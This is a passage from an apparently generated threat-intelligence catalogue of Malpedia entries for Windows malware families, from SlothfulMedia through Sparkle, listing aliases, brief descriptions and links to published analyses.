https://malpedia.caad.fkie.fraunhofer.de/details/win.sliver
https://github.com/BishopFox/sliver
https://www.ncsc.gov.uk/files/Advisory%20Further%20TTPs%20associated%20with%20SVR%20cyber%20actors.pdf
https://www.telsy.com/download/5900/?uid=b797afdcfb
https://www.volexity.com/blog/2022/06/15/driftingcloud-zero-day-sophos-firewall-exploitation-and-an-insidious-breach/
https://intel471.com/blog/malware-before-ransomware-trojan-information-stealer-cobalt-strike
https://www.microsoft.com/security/blog/2022/08/24/looking-for-the-sliver-lining-hunting-for-emerging-command-and-control-frameworks
https://team-cymru.com/blog/2022/04/29/sliver-case-study-assessing-common-offensive-security-tools/

SlothfulMedia

The tag is: *misp-galaxy:malpedia="SlothfulMedia"*

SlothfulMedia is also known as:

- QueenOfClubs

Table 3107. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.slothfulmedia
https://us-cert.cisa.gov/ncas/analysis-reports/ar20-275a
https://securelist.com/iamtheking-and-the-slothfulmedia-malware-family/99000/

SLUB

The tag is: *misp-galaxy:malpedia="SLUB"*

SLUB is also known as:

Table 3108. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.slub
https://www.trendmicro.com/en_us/research/20/j/operation-earth-kitsune-a-dance-of-two-new-backdoors.html
https://www.virusbulletin.com/uploads/pdf/conference_slides/2019/VB2019-LunghiHorejsi.pdf
https://www.trendmicro.com/en_us/research/20/l/who-is-the-threat-actor-behind-operation-earth-kitsune-.html
https://blog.trendmicro.com/trendlabs-security-intelligence/new-slub-backdoor-uses-github-communicates-via-slack/
https://documents.trendmicro.com/assets/white_papers/wp-operation-earth-kitsune.pdf

smac

The tag is: *misp-galaxy:malpedia="smac"*

smac is also known as:

- speccom

Table 3109. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.smac
https://paper.seebug.org/papers/APT/APT_CyberCriminal_Campagin/2015/Aug.10.The_Italian_Connection_An_analysis_of_exploit_supply_chains_and_digital_quartermasters/HTExploitTelemetry.pdf
https://www.secureworks.com/research/threat-profiles/bronze-express

Smackdown

The tag is: *misp-galaxy:malpedia="Smackdown"*

Smackdown is also known as:

Table 3110. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.smackdown
https://github.com/CyberMonitor/APT_CyberCriminal_Campagin_Collections/raw/master/2013/2013.05.20.Operation_Hangover/Unveiling_an_Indian_Cyberattack_Infrastructure.pdf

SManager

The tag is: *misp-galaxy:malpedia="SManager"*

SManager is also known as:

- PhantomNet

Table 3111. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.smanager
https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf
https://blog.vincss.net/2020/12/re018-2-analyzing-new-malware-of-china-panda-hacker-group-used-to-attack-supply-chain-against-vietnam-government-certification-authority.html?m=1
https://blog.vincss.net/2020/12/re017-2-phan-tich-ky-thuat-dong-ma-doc-moi-co-nhieu-dau-hieu-lien-quan-toi-nhom-tin-tac-Panda.html
https://blog.vincss.net/2020/12/re018-1-analyzing-new-malware-of-china-panda-hacker-group-used-to-attack-supply-chain-against-vietnam-government-certification-authority.html
https://labs.sentinelone.com/thundercats-hack-the-fsb-your-taxes-didnt-pay-for-this-op/
https://0xthreatintel.medium.com/reversing-apt-tool-smanager-unpacked-d413a04961c4
https://blog.vincss.net/2021/02/re020-elephantrat-kunming-version-our-latest-discovered-RAT-of-Panda.html
https://insight-jp.nttsecurity.com/post/102glv5/pandas-new-arsenal-part-3-smanager
https://blog.vincss.net/2020/12/phan-tich-ky-thuat-dong-ma-doc-moi-co-nhieu-dau-hieu-lien-quan-toi-nhom-tin-tac-Panda.html
https://www.welivesecurity.com/2020/12/17/operation-signsight-supply-chain-attack-southeast-asia/
https://0xthreatintel.medium.com/how-to-unpack-smanager-apt-tool-cb5909819214
https://blog.group-ib.com/task

SmartEyes

The tag is: *misp-galaxy:malpedia="SmartEyes"*

SmartEyes is also known as:

Table 3112. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.smarteyes
https://www.virustotal.com/gui/file/4eb840617883bf6ed7366242ffee811ad5ea3d5bfd2a589a96d6ee9530690d28/details

SMAUG

Ransomware.

The tag is: *misp-galaxy:malpedia="SMAUG"*

SMAUG is also known as:

Table 3113. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.smaug
https://www.anomali.com/blog/anomali-threat-research-releases-first-public-analysis-of-smaug-ransomware-as-a-service
https://labs.sentinelone.com/multi-platform-smaug-raas-aims-to-see-off-competitors/
https://www.pwc.co.uk/issues/cyber-security-services/insights/what-is-behind-ransomware-attacks-increase.html

SMOKEDHAM

According to Mandiant, SMOKEDHAM is dropped through a powershell script that contains the (C#) source code for this backdoor, which is stored in an encrypted variable. The dropper dynamically defines a cmdlet and .NET class for the backdoor, meaning the compiled code is only found in memory.

The tag is: *misp-galaxy:malpedia="SMOKEDHAM"*

SMOKEDHAM is also known as:

Table 3114. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.smokedham
https://www.mandiant.com/resources/burrowing-your-way-into-vpns
https://www.mandiant.com/resources/darkside-affiliate-supply-chain-software-compromise
https://www.fireeye.com/blog/threat-research/2021/06/darkside-affiliate-supply-chain-software-compromise.html

SmokeLoader

The SmokeLoader family is a generic backdoor with a range of capabilities which depend on the modules included in any given build of the malware. The malware is delivered in a variety of ways and is broadly associated with criminal activity. The malware frequently tries to hide its C2 activity by generating requests to legitimate sites such as microsoft.com, bing.com, adobe.com, and others. Typically the actual Download returns an HTTP 404 but still contains data in the Response Body.

The tag is: *misp-galaxy:malpedia="SmokeLoader"*

SmokeLoader is also known as:

- Dofoil
- Sharik
- Smoke
- Smoke Loader

Table 3115. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.smokeloader
https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-2021-threat-report.pdf
https://www.cert.pl/en/news/single/dissecting-smoke-loader/
https://blog.malwarebytes.com/threat-analysis/2016/10/new-looking-sundown-ek-drops-smoke-loader-kronos-banker/
https://m.alvar.es/2020/06/comparative-analysis-between-bindiff.html
https://blog.talosintelligence.com/2020/09/salfram-robbing-place-without-removing.html
https://x0r19x91.in/malware-analysis/smokeloader/
http://security.neurolabs.club/2020/06/unpacking-smokeloader-and.html
https://www.cisa.gov/uscert/ncas/alerts/aa22-110a
https://www.fortinet.com/blog/threat-research/smokeloader-using-old-vulnerabilities
https://bartblaze.blogspot.com/2017/08/crystal-finance-millennium-used-to.html
https://www.sentinelone.com/blog/going-deep-a-guide-to-reversing-smoke-loader-malware/
https://marcoramilli.com/2021/01/09/c2-traffic-patterns-personal-notes/
https://info.phishlabs.com/blog/smoke-loader-adds-additional-obfuscation-methods-to-mitigate-analysis
https://blog.malwarebytes.com/social-engineering/2020/09/malvertising-campaigns-come-back-in-full-swing/
https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/paas-or-how-hackers-evade-antivirus-software/

https://www.silentpush.com/blog/privacy-tools-not-for-you
https://global.ahnlab.com/global/upload/download/asecreport/ASEC%20REPORT_vol.101_ENG.pdf
https://medium.com/csis-techblog/inside-view-of-brazzzersff-infrastructure-89b9188fd145
http://security.neurolabs.club/2019/10/dynamic-imports-and-working-around.html
https://drive.google.com/file/d/13BsHZn-KVLhwrtgS2yKJAM2_U_XZlwoD/view
https://blog.talosintelligence.com/2018/07/smoking-guns-smoke-loader-learned-new.html
https://research.openanalysis.net/smoke/smokeloader/loader/config/yara/triage/2022/08/25/smokeloader.html
https://blog.malwarebytes.com/cybercrime/2018/01/fake-spectre-and-meltdown-patch-pushes-smoke-loader/
http://security.neurolabs.club/2019/08/smokeloaders-hardcoded-domains-sneaky.html
https://asec.ahnlab.com/en/33600/
https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware
https://n1ght-w0lf.github.io/malware%20analysis/smokeloader/
https://int0xcc.svbtle.com/a-taste-of-our-own-medicine-how-smokeloader-is-deceiving-dynamic-configuration-extraction-by-using-binary-code-as-bait
https://www.proofpoint.com/us/threat-insight/post/2019-return-retefe
https://danusminimus.github.io/Analyzing-Modern-Malware-Techniques-Part-4/
https://research.checkpoint.com/2019-resurgence-of-smokeloader/
https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/operation-ta505-part3/
https://www.intel471.com/blog/Cobalt-strike-cybercriminals-trickbot-qbot-hancitor
https://blogs.blackberry.com/en/2022/02/threat-thursday-arkei-infostealer
https://0xc0decafe.com/2020/12/23/detect-rc4-in-malicious-binaries
https://suvaditya.one/malware-analysis/smokeloader/
https://malwarebreakdown.com/2017/04/03/shadow-server-domains-leads-to-rig-exploit-kit-dropping-smoke-loader-which-downloads-neutrino-bot-aka-kasidet/
https://blog.malwarebytes.com/threat-analysis/2016/08/smoke-loader-downloader-with-a-smokescreen-still-alive/
https://www.spamhaus.org/news/article/774/smoke-loader-improves-encryption-after-microsoft-spoils-its-campaign
https://github.com/vc0RExor/Quick-Analysis/blob/main/SmokeLoader/SmokeLoader.md
https://hatching.io/blog/tt-2020-08-27/
https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/
https://securitynews.sonicwall.com/xmlpost/html-application-hta-files-are-being-used-to-distribute-smoke-loader-malware/
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf

https://www.bleepingcomputer.com/news/security/new-golang-botnet-empties-windows-users-cryptocurrency-wallets/
https://www.proofpoint.com/us/blog/threat-insight/now-you-see-it-now-you-dont-copperstealer-performs-widespread-theft
https://intel471.com/blog/privateloader-malware
https://www.cisa.gov/uscert/sites/default/files/publications/AA22-110A_Joint_CSA_Russian_State-Sponsored_and_Criminal_Cyber_Threats_to_Critical_Infrastructure_4_20_22_Final.pdf
https://blog.talosintelligence.com/2020/12/2020-year-in-malware.html
https://malwareandstuff.com/examining-smokeloaders-anti-hooking-technique/
https://www.bitsight.com/blog/tracking-privateloader-malware-distribution-service
https://de.darktrace.com/blog/privateloader-network-based-indicators-of-compromise
https://www.deepinstinct.com/2021/05/26/deep-dive-packing-software-cryptone/
https://www.ptsecurity.com/ww-en/analytics/antisandbox-techniques/
https://medium.com/csis-techblog/gcleaner-garbage-provider-since-2019-2708e7c87a8a
https://m.alvar.es/2020/06/unpacking-smokeloader-and.html
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf
https://www.telekom.com/en/blog/group/article/a-new-way-to-encrypt-cc-server-urls-614886
https://blog.badtrace.com/post/anti-hooking-checks-of-smokeloader-2018/
https://m.alvar.es/2019/10/dynamic-imports-and-working-around.html
http://security.neurolabs.club/2020/04/diffing-malware-samples-using-bindiff.html
https://www.microsoft.com/security/blog/2021/02/01/what-tracking-an-attacker-email-infrastructure-tells-us-about-persistent-cybercriminal-operations/
https://eternal-todo.com/blog/smokeloader-analysis-yulia-photo
https://cloudblogs.microsoft.com/microsoftsecure/2018/04/04/hunting-down-dofoil-with-windows-defender-atp/
https://blogs.blackberry.com/en/2022/07/smokeloader-malware-used-to-augment-amadey-infostealer

Smominru

The tag is: *misp-galaxy:malpedia="Smominru"*

Smominru is also known as:

- Ismo

Table 3116. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.smominru

http://blog.netlab.360.com/mykings-the-botnet-behind-multiple-active-spreading-botnets/
https://www.proofpoint.com/us/threat-insight/post/smominru-monero-mining-botnet-making-millions-operators

Smrss32

Ransomware.

The tag is: *misp-galaxy:malpedia="Smrss32"*

Smrss32 is also known as:

Table 3117. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.smrss32
https://www.youtube.com/watch?v=7gCU31ScJgk
https://www.bleepingcomputer.com/forums/t/623132/smrss32-encrypted-ransomware-help-support-how-to-decryptbmp/

Sn0wsLogger

The tag is: *misp-galaxy:malpedia="Sn0wsLogger"*

Sn0wsLogger is also known as:

Table 3118. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.sn0wslogger
https://twitter.com/struppigel/status/1354806038805897216

Snake

Snake Ransomware is a Golang ransomware reportedly containing obfuscation not typically seen in Golang ransomware. This malware will remove shadow copies and kill processes related to SCADA/ICS devices, virtual machines, remote management tools, network management software, and others. After this, encryption of files on the device commences, while skipping Windows system folders and various system files. A random 5 character string is appended to encrypted files. According to Bleeping Computer, this ransomware takes an especially long time to encrypt files on a targeted machine. This ransomware is reported to target an entire network, rather than individual workstations.

The tag is: *misp-galaxy:malpedia="Snake"*

Snake is also known as:

- EKANS
- SNAKEHOSE

Table 3119. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.snake
https://github.com/albertzsigovits/malware-notes/blob/master/Snake.md
https://www.dragos.com/blog/industry-news/ekans-ransomware-misconceptions-and-misunderstandings/
https://ics-cert.kaspersky.com/media/KASPERSKY_H1_2020_ICS_REPORT_EN.pdf
https://medium.com/@nishanmaharjan17/malware-analysis-snake-ransomware-a0e66f487017
https://www.0ffset.net/reverse-engineering/analysing-snake-ransomware/
https://www.bleepingcomputer.com/news/security/snake-ransomware-is-the-next-threat-targeting-business-networks/
https://www.fortinet.com/blog/threat-research/ekans-ransomware-targeting-ot-ics-systems
https://www.crowdstrike.com/blog/adversaries-targeting-the-manufacturing-industry/
https://ics-cert.kaspersky.com/alerts/2020/06/17/targeted-attacks-on-industrial-companies-using-snake-ransomware/
https://twitter.com/bad_packets/status/1270957214300135426
https://krebsonsecurity.com/2020/05/europes-largest-private-hospital-operator-fresenius-hit-by-ransomware
https://www.bleepingcomputer.com/news/security/honda-investigates-possible-ransomware-attack-networks-impacted/
https://www.mandiant.com/resources/financially-motivated-actors-are-expanding-access-into-ot
https://www.fireeye.com/blog/threat-research/2020/07/financially-motivated-actors-are-expanding-access-into-ot.html
https://blog.malwarebytes.com/threat-analysis/2020/06/honda-and-enel-impacted-by-cyber-attack-suspected-to-be-ransomware/
https://insights.sei.cmu.edu/cert/2020/03/snake-ransomware-analysis-updates.html
https://www.goggleheadedhacker.com/blog/post/22
https://dragos.com/blog/industry-news/ekans-ransomware-and-ics-operations/
https://twitter.com/milkr3am/status/1270019326976786432
https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-old-dogs-new-tricks.pdf
https://labs.sentinelone.com/new-snake-ransomware-adds-itself-to-the-increasing-collection-of-golang-crimeware/
https://hub.dragos.com/hubfs/Whitepaper-Downloads/Dragos_Manufacturing%20Threat%20Perspective_1120.pdf

https://www.ccn-cert.cni.es/pdf/5045-ccn-cert-id-15-20-snake-locker-english-1/file.html
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf
https://ke-la.com/zooming-into-darknet-threats-targeting-jp-orgs-kela/

Snatch

Snatch is a ransomware which infects victims by rebooting the PC into Safe Mode. Most of the existing security protections do not run in Safe Mode so that it the malware can act without expected countermeasures and it can encrypt as many files as it finds. It uses common packers such as UPX to hide its payload.

The tag is: *misp-galaxy:malpedia="Snatch"*

Snatch is also known as:

Table 3120. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.snatch
https://www.secureworks.com/blog/ransomware-groups-use-tor-based-backdoor-for-persistent-access
https://twitter.com/VK_Intel/status/1191414501297528832
https://www.crowdstrike.com/blog/financial-motivation-drives-golang-malware-adoption/
https://blog.intel471.com/2020/05/21/a-brief-history-of-ta505/
https://intel471.com/blog/a-brief-history-of-ta505
https://thedfirreport.com/2020/06/21/snatch-ransomware/
https://www.cyborgsecurity.com/cyborg_labs/hunting-ransomware-inhibiting-system-backup-or-recovery/
https://news.sophos.com/en-us/2019/12/09/snatch-ransomware-reboots-pcs-into-safe-mode-to-bypass-protection/
https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf
https://github.com/albertzsigovits/malware-notes/blob/master/Snatch.md
https://www.bleepingcomputer.com/news/security/snatch-ransomware-reboots-to-windows-safe-mode-to-bypass-av-tools/
https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/

SnatchCrypto

Malware observed in the SnatchCrypto campaign, attributed by Kaspersky Labs to BlueNoroff with high confidence.

The tag is: *misp-galaxy:malpedia="SnatchCrypto"*

SnatchCrypto is also known as:

Table 3121. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.snatchcrypto
https://threatbook.cn/ppt/The%2520Nightmare%2520of%2520Global%2520Cryptocurrency%2520Companies%2520-%2520Demystifying%2520the%2520%25E2%2580%259CDangerousPassword%25E2%2580%259D%2520of%2520the%2520APT%2520Organization.pdf
https://securelist.com/the-bluenoroff-cryptocurrency-hunt-is-still-on/105488/

SnatchLoader

A downloader trojan with some infostealer capabilities focused on the browser. Previously observed as part of RigEK campaigns.

The tag is: *misp-galaxy:malpedia="SnatchLoader"*

SnatchLoader is also known as:

Table 3122. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.snatch_loader
https://www.arbornetworks.com/blog/asert/snatchloader-reloaded/
https://myonlinesecurity.co.uk/your-order-no-8194788-has-been-processed-malspam-delivers-malware/
https://www.youtube.com/watch?v=k3sM88o_maM
https://twitter.com/VK_Intel/status/898549340121288704
https://zerophagemalware.com/2017/12/11/malware-snatch-loader-reloaded/

SNEEPY

The tag is: *misp-galaxy:malpedia="SNEEPY"*

SNEEPY is also known as:

- ByeByeShell

Table 3123. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.sneepy
https://researchcenter.paloaltonetworks.com/2016/09/unit42-confucius-says-malware-families-get-further-by-abusing-legitimate-websites/

Snifula

The tag is: *misp-galaxy:malpedia="Snifula"*

Snifula is also known as:

- Ursnif

Table 3124. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.snifula
https://www.circl.lu/assets/files/tr-13/tr-13-snifula-analysis-report-v1.3.pdf
https://mal-eats.net/en/2021/05/11/campo_new_attack_campaign_targeting_japan/
https://www.zdnet.com/article/ursnif-trojan-has-targeted-over-100-italian-banks/
https://malware.love/malware_analysis/reverse_engineering/2020/11/27/analyzing-a-vbs-dropper.html
https://www.darktrace.com/en/blog/the-resurgence-of-the-ursnif-banking-trojan/

Snojan

The tag is: *misp-galaxy:malpedia="Snojan"*

Snojan is also known as:

Table 3125. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.snojan
https://medium.com/@jacob16682/snojan-analysis-bb3982fb1bb9

SNS Locker

The tag is: *misp-galaxy:malpedia="SNS Locker"*

SNS Locker is also known as:

Table 3126. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.snslocker

Sobaken

According to ESET, this RAT was derived from (the open-source) Quasar RAT.

The tag is: *misp-galaxy:malpedia="Sobaken"*

Sobaken is also known as:

Table 3127. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.sobaken
https://www.welivesecurity.com/2018/07/17/deep-dive-vermin-rathole/

Sobig

The tag is: *misp-galaxy:malpedia="Sobig"*

Sobig is also known as:

- Palyh

Table 3128. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.sobig
http://edition.cnn.com/2003/TECH/internet/08/21/sobig.virus/index.html

Socelars

Socelars is an infostealer with main focus on: * Facebook Stealer (ads/manager) * Cookie Stealer | AdsCreditCard {Amazon}

The tag is: *misp-galaxy:malpedia="Socelars"*

Socelars is also known as:

Table 3129. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.socelars
https://www.trendmicro.com/en_us/research/21/i/fake-installers-drop-malware-and-open-doors-for-opportunistic-attackers.html
https://www.bleepingcomputer.com/news/security/facebook-ads-manager-targeted-by-new-info-stealing-trojan/
https://twitter.com/VK_Intel/status/1201584107928653824
https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf
https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/

Sockbot

Sockbot is a customized and in Go written fork of the Ligolo reverse tunneling open-source tool. Several modification were performed by the threat actors who rewrote that code, e.g. execution checks, hardcoded values. Ligolo: https://github.com/sysdream/ligolo

The tag is: *misp-galaxy:malpedia="Sockbot"*

Sockbot is also known as:

Table 3130. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.sockbot
https://www.bleepingcomputer.com/news/security/hackers-fork-open-source-reverse-tunneling-tool-for-persistence/
https://www.youtube.com/watch?v=CAMnuhg-Qos
https://blog.talosintelligence.com/2022/03/iranian-supergroup-muddywater.html
https://secjoes-reports.s3.eu-central-1.amazonaws.com/Sockbot%2Bin%2BGoLand.pdf

Socks5 Systemz

The tag is: *misp-galaxy:malpedia="Socks5 Systemz"*

Socks5 Systemz is also known as:

Table 3131. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.socks5_systemz

SocksBot

The tag is: *misp-galaxy:malpedia="SocksBot"*

SocksBot is also known as:

- BIRDDOG
- Nadrac

Table 3132. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.socksbot
https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2018/presentations/cds18-technical-s05-att&cking-fin7.pdf

https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf
https://cert.ssi.gouv.fr/uploads/20220427_NP_TLPWHITE_ANSSI_FIN7.pdf
https://www.accenture.com/t00010101T000000Z*w*/gb-en/_acnmedia/PDF-83/Accenture-Goldfin-Security-Alert.pdf[https://www.accenture.com/t00010101T000000Z*w*/gb-en/_acnmedia/PDF-83/Accenture-Goldfin-Security-Alert.pdf]
https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html

SodaMaster

This is a RAT that is usually loaded with one or more shellcode and/or reflective DLL injection techniques. The RAT uses RC4 or a hardcoded RSA key for traffic encryption/decryption. Its communication can either happen via a raw TCP socket or a HTTP POST request. Depending on the version, the RAT may remotely execute DLLs or shellcode.

The tag is: *misp-galaxy:malpedia="SodaMaster"*

SodaMaster is also known as:

- DelfsCake
- HEAVYPOT
- dfls

Table 3133. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.sodamaster
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/cicada-apt10-china-ngo-government-attacks
https://www.bleepingcomputer.com/news/security/chinese-hackers-abuse-vlc-media-player-to-launch-malware-loader/
https://jsac.jpcert.or.jp/archive/2022/pdf/JSAC2022_9_yanagishita-tamada-nakatsuru-ishimaru_en.pdf
https://www.secureworks.com/research/bronze-starlight-ransomware-operations-use-hui-loader
https://securelist.com/apt-trends-report-q1-2021/101967/
https://jsac.jpcert.or.jp/archive/2021/pdf/JSAC2021_202_niwa-yanagishita_en.pdf

Solarbot

The tag is: *misp-galaxy:malpedia="Solarbot"*

Solarbot is also known as:

* Napolar

Table 3134. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.solarbot
https://blog.avast.com/2013/09/25/win3264napolar-new-trojan-shines-on-the-cyber-crime-scene/
https://blog.malwarebytes.com/threat-analysis/2013/09/new-solarbot-malware-debuts-creator-publicly-advertising/
https://www.welivesecurity.com/2013/09/25/win32napolar-a-new-bot-on-the-block/

solarmarker

Unit 42 notes that they identified a new version of SolarMarker, a malware family known for its infostealing and backdoor capabilities, mainly delivered through search engine optimization (SEO) manipulation to convince users to download malicious documents.

Some of SolarMarker's capabilities include the exfiltration of auto-fill data, saved passwords and saved credit card information from victims' web browsers. Besides capabilities typical for infostealers, SolarMarker has additional capabilities such as file transfer and execution of commands received from a C2 server.

The malware invests significant effort into defense evasion, which consists of techniques like signed files, huge files, impersonation of legitimate software installations and obfuscated PowerShell scripts.

The tag is: *misp-galaxy:malpedia="solarmarker"*

solarmarker is also known as:

* Jupyter
* Polazert
* Yellow Cockatoo

Table 3135. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.solarmarker
https://twitter.com/MsftSecIntel/status/1403461397283950597
https://news.sophos.com/en-us/2022/02/01/solarmarker-campaign-used-novel-registry-changes-to-establish-persistence/
https://blog.morphisec.com/jupyter-infostealer-backdoor-introduction
https://unit42.paloaltonetworks.com/solarmarker-malware/
https://blog.talosintelligence.com/2021/07/threat-spotlight-solarmarker.html#more
https://www.binarydefense.com/mars-deimos-solarmarker-jupyter-infostealer-part-1/

https://www.prodaft.com/m/reports/Solarmarker_TLPWHITEv2.pdf
https://blogs.blackberry.com/en/2022/01/threat-thursday-jupyter-infostealer-is-a-master-of-disguise
https://blog.morphisec.com/new-jupyter-evasive-delivery-through-msi-installer
https://squiblydoo.blog/2021/06/20/mars-deimos-from-jupiter-to-mars-and-back-again-part-two/
https://www.binarydefense.com/mars-deimos-from-jupiter-to-mars-and-back-again-part-two/
https://blog.minerva-labs.com/new-iocs-of-jupyter-stealer
https://security5magics.blogspot.com/2020/12/tracking-jupyter-malware.html
https://www.crowdstrike.com/blog/solarmarker-backdoor-technical-analysis/
https://www.esentire.com/security-advisories/hackers-flood-the-web-with-100-000-malicious-pages-promising-professionals-free-business-forms-but-are-delivering-malware-reports-esentire
https://www.esentire.com/blog/esentire-threat-intelligence-malware-analysis-solarmarker

SolidBit

Ransomware, written in .NET.

The tag is: *misp-galaxy:malpedia="SolidBit"*

SolidBit is also known as:

Table 3136. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.solidbit
https://www.trendmicro.com/en_us/research/22/h/solidbit-ransomware-enters-the-raas-scene-and-takes-aim-at-gamer.html

SombRAT

The tag is: *misp-galaxy:malpedia="SombRAT"*

SombRAT is also known as:

Table 3137. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.sombrat
https://blogs.blackberry.com/en/2021/05/threat-thursday-sombrat-always-leave-yourself-a-backdoor
https://blogs.blackberry.com/en/2020/11/the-costaricto-campaign-cyber-espionage-outsourced

Sorano

The tag is: *misp-galaxy:malpedia="Sorano"*

Sorano is also known as:

Table 3138. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.sorano
https://github.com/Alexuiop1337/SoranoStealer
https://github.com/3xp0rt/SoranoStealer
https://3xp0rt.xyz/lpmkikVic

soraya

The tag is: *misp-galaxy:malpedia="soraya"*

soraya is also known as:

Table 3139. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.soraya
https://www.codeandsec.com/Soraya-Malware-Analysis-Dropper

SoreFang

The tag is: *misp-galaxy:malpedia="SoreFang"*

SoreFang is also known as:

Table 3140. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.sorefang
https://us-cert.cisa.gov/ncas/analysis-reports/ar20-198a
https://www.ncsc.gov.uk/files/Advisory-APT29-targets-COVID-19-vaccine-development.pdf
https://securelist.com/apt-trends-report-q3-2020/99204/

Sorgu

The tag is: *misp-galaxy:malpedia="Sorgu"*

Sorgu is also known as:

Table 3141. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.sorgu
https://www.symantec.com/blogs/threat-intelligence/leafminer-espionage-middle-east
https://symantec-blogs.broadcom.com/blogs/threat-intelligence/leafminer-espionage-middle-east

Soul

The tag is: *misp-galaxy:malpedia="Soul"*

Soul is also known as:

- SoulSearcher

Table 3142. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.soul
https://www.fortinet.com/blog/threat-research/unraveling-the-evolution-of-the-soul-searcher-malware

SOUNDBITE

The tag is: *misp-galaxy:malpedia="SOUNDBITE"*

SOUNDBITE is also known as:

- denis

Table 3143. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.soundbite
https://ruxcon.org.au/assets/2017/slides/bart-RuxCon-Presentation.pptx
https://mp.weixin.qq.com/s/xPsEXp2J5IE7wNSMEVC24A
https://blog.viettelcybersecurity.com/apt32-deobfuscation-arsenal-deobfuscating-mot-vai-loai-obfucation-toolkit-cua-apt32-phan-1/
https://go.recordedfuture.com/hubfs/reports/cta-2020-1110.pdf
https://securelist.com/use-of-dns-tunneling-for-cc-communications/78203/
https://www.secureworks.com/research/threat-profiles/tin-woodlawn
https://attack.mitre.org/wiki/Software/S0157
https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html

https://www.picussecurity.com/blog/picus-10-critical-mitre-attck-techniques-t1055-process-injection

SPACESHIP

SPACESHIP searches for files with a specified set of file extensions and copies them to a removable drive. FireEye believes that SHIPSHAPE is used to copy SPACESHIP to a removable drive, which could be used to infect another victim computer, including an air-gapped computer. SPACESHIP is then used to steal documents from the air-gapped system, copying them to a removable drive inserted into the SPACESHIP-infected system

The tag is: *misp-galaxy:malpedia="SPACESHIP"*

SPACESHIP is also known as:

Table 3144. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.spaceship
https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf
https://www.mandiant.com/sites/default/files/2021-09/rpt-apt30.pdf

Spark

The tag is: *misp-galaxy:malpedia="Spark"*

Spark is also known as:

Table 3145. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.spark
https://www.cybereason.com/blog/new-cyber-espionage-campaigns-targeting-palestinians-part-one
https://www.cybereason.com/blog/new-malware-arsenal-abusing-cloud-platforms-in-middle-east-espionage-campaign
https://www.cybereason.com/hubfs/dam/collateral/reports/Molerats-in-the-Cloud-New-Malware-Arsenal-Abuses-Cloud-Platforms-in-Middle-East-Espionage-Campaign.pdf
https://www.zscaler.com/blogs/security-research/new-espionage-attack-molerats-apt-targeting-users-middle-east
https://unit42.paloaltonetworks.com/molerats-delivers-spark-backdoor/

Sparkle

The tag is: *misp-galaxy:malpedia="Sparkle"*

Sparkle is also known as:

Table 3146. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.sparkle
https://threatvector.cylance.com/en_us/home/reaver-mapping-connections-between-disparate-chinese-apt-groups.html

Sparksrv

